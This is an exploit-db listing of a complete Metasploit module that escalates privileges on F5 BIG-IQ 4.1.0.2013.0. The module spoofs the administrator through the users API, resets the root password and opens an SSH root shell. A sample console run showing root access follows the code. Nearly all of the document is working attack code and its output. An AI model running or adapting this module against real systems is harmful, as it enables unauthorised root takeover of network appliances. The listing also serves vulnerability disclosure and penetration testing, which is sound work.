F5 BIG-IQ 4.1.0.2013.0 – Privilege Escalation (Metasploit)

  • 作者: Brandon Perry
    日期: 2014-05-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33143/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'json'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change",
    'Description'=> %q{
    F5 BIG-IQ v4.1.0.2013.0 is vulnerable to a privilege escalation attack which allows
    an attacker to change the root users password. This module does just this, then SSH's in.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Brandon Perry <bperry.volatile@gmail.com>'
    ],
    'References' =>
    [
    ['URL', 'http://volatile-minds.blogspot.com/2014/05/f5-big-iq-v41020130-authenticated.html']
    ],
    'Platform' => ['unix'],
    'Arch' => ARCH_CMD,
    'Targets'=>
    [
    ['BIG-IQ 4.1.0.2013.0', {}]
    ],
    'Privileged' => true,
    'DefaultOptions'=>
    {
    'SSL' => true,
    'ExitFunction' => "none"
    },
    'Payload'=>
    {
    'Compat' => {
    'PayloadType'=> 'cmd_interact',
    'ConnectionType' => 'find'
    }
    },
    'DisclosureDate' => "Sep 23 2013",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    Opt::RPORT(443),
    OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
    OptString.new('USERNAME', [true, 'The user to authenticate as.', 'username']),
    OptString.new('PASSWORD', [true, 'The password to authenticate with.', 'password']),
    OptString.new('ADMINISTRATOR', [true, 'The administrator to spoof for privilege escalation', 'root']),
    OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
    ], self.class)
    end
    
    def exploit
    post = {
    'username' => datastore['USERNAME'],
    'passwd' => datastore['PASSWORD']
    }
    
    print_status("Authenticating as " + datastore['USERNAME'])
    
    #Simple post to get us a cookie so we can change our password
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => '/ui/actions/logmein.html',
    'vars_post' => post
    })
    
    if res.headers["Location"] != "/"
    fail_with("Authentication failed")
    end
    
    cookie = res.get_cookies
    
    #this gets turned into JSON
    #
    #generation will be set in try_generation if it isn't correct
    #
    #This is also the attempt at privilege escalation, so we preserve the password
    post = {
    "name" => datastore['ADMINISTRATOR'],
    "displayName" => "fdsa",
    "generation" => 1,
    "lastUpdateMicros" => 1395360806678747,
    "kind" => "shared:authz:users:usersworkerstate",
    "selfLink" => "https://localhost/mgmt/shared/authz/users/" + datastore['USERNAME'],
    "password" => datastore['PASSWORD'],
    "password2" => datastore['PASSWORD'],
    "state" => "ACTIVE"
    }
    
    print_status("Escalating privileges to that of " + datastore["ADMINISTRATOR"])
    
    try_generation(post, cookie, '/mgmt/shared/authz/users/' + datastore['USERNAME'])
    
    password = Rex::Text.rand_text_alpha(rand(32)+5)
    
    #this is when we change the password for the root user
    post = {
    "name" => "root",
    "displayName" => "root",
    "generation" => 1,
    "lastUpdateMicros" => 1395359570236413,
    "kind" => "shared:authz:users:usersworkerstate",
    "selfLink" => "https://localhost/mgmt/shared/authz/users/root",
    "password" => password,
    "password2" => password,
    "state" => "ACTIVE"
    }
    
    select(nil,nil,nil,5)
    print_status("Changing root user password to " + password)
    
    try_generation(post, cookie, '/mgmt/shared/authz/users/root')
    
    res = do_login('root', password)
    
    if res
    print_good("Login Successful with 'root:#{password}'")
    handler(res.lsock)
    end
    end
    
    def try_generation(put, cookie, uri)
    done = false
    while !done
    res = send_request_cgi({
    'method' => "PUT",
    'uri' => uri,
    'data' => put.to_json,
    'cookie' => cookie
    })
    
    if res and res.body =~ /Invalid generation/
    put['generation'] = /Need (\d{1,9}), received \d{1,9}/.match(res.body)[1]
    elsif res and res.body =~ /encryptedPassword/
    done = true
    else
    fail_with("Didn't get a response that I expected")
    end
    end
    end
    def do_login(user, pass)
    
    opts = {
    :auth_methods => ['password', 'keyboard-interactive'],
    :msframework=> framework,
    :msfmodule=> self,
    :port => 22,
    :disable_agent => true,
    :config => true,
    :password => pass,
    :record_auth_info => true,
    :proxies => datastore['Proxies']
    }
    
    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    
    begin
    ssh = nil
    ssh = Net::SSH.start(datastore['RHOST'], user, opts)
    rescue Rex::ConnectionError, Rex::AddressInUse
    return nil
    rescue Net::SSH::Disconnect, ::EOFError
    print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
    return nil
    rescue ::Timeout::Error
    print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
    return nil
    rescue Net::SSH::AuthenticationFailed
    print_error "#{rhost}:#{rport} SSH - Failed authentication"
    return nil
    rescue Net::SSH::Exception => e
    print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
    return nil
    end
    if ssh
    conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
    return conn
    end
    return nil
    end
    end
    
    
    __END__
    
    msf exploit(f5_bigiq_passwd_update) > show options
    
    Module options (exploit/linux/http/f5_bigiq_passwd_update):
    
    Name Current SettingRequiredDescription
    ---- ----------------------------------
    ADMINISTRATORroot yes The administrator to spoof for privilege escalation
    PASSWORD notpasswordyes The password to authenticate with.
    Proxies noUse a proxy chain
    RHOST192.168.1.8yes The target address
    RPORT443yes The target port
    SSH_TIMEOUT30 noSpecify the maximum time to negotiate a SSH session
    TARGETURI/yes The URI of the vulnerable instance
    USERNAME username yes The user to authenticate as.
    VHOST noHTTP server virtual host
    
    
    Payload options (cmd/unix/interact):
    
    NameCurrent SettingRequiredDescription
    
    --------------------------------------
    
    Exploit target:
    
    IdName
    ------
    0 a
    
    
    msf exploit(f5_bigiq_passwd_update) > exploit
    
    [+] Login Successful with 'root:qBvBY'
    [*] Found shell.
    [*] Command shell session 3 opened (192.168.1.31:58165 -> 192.168.1.8:22) at 2014-03-20 21:18:09 -0500
    
    id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh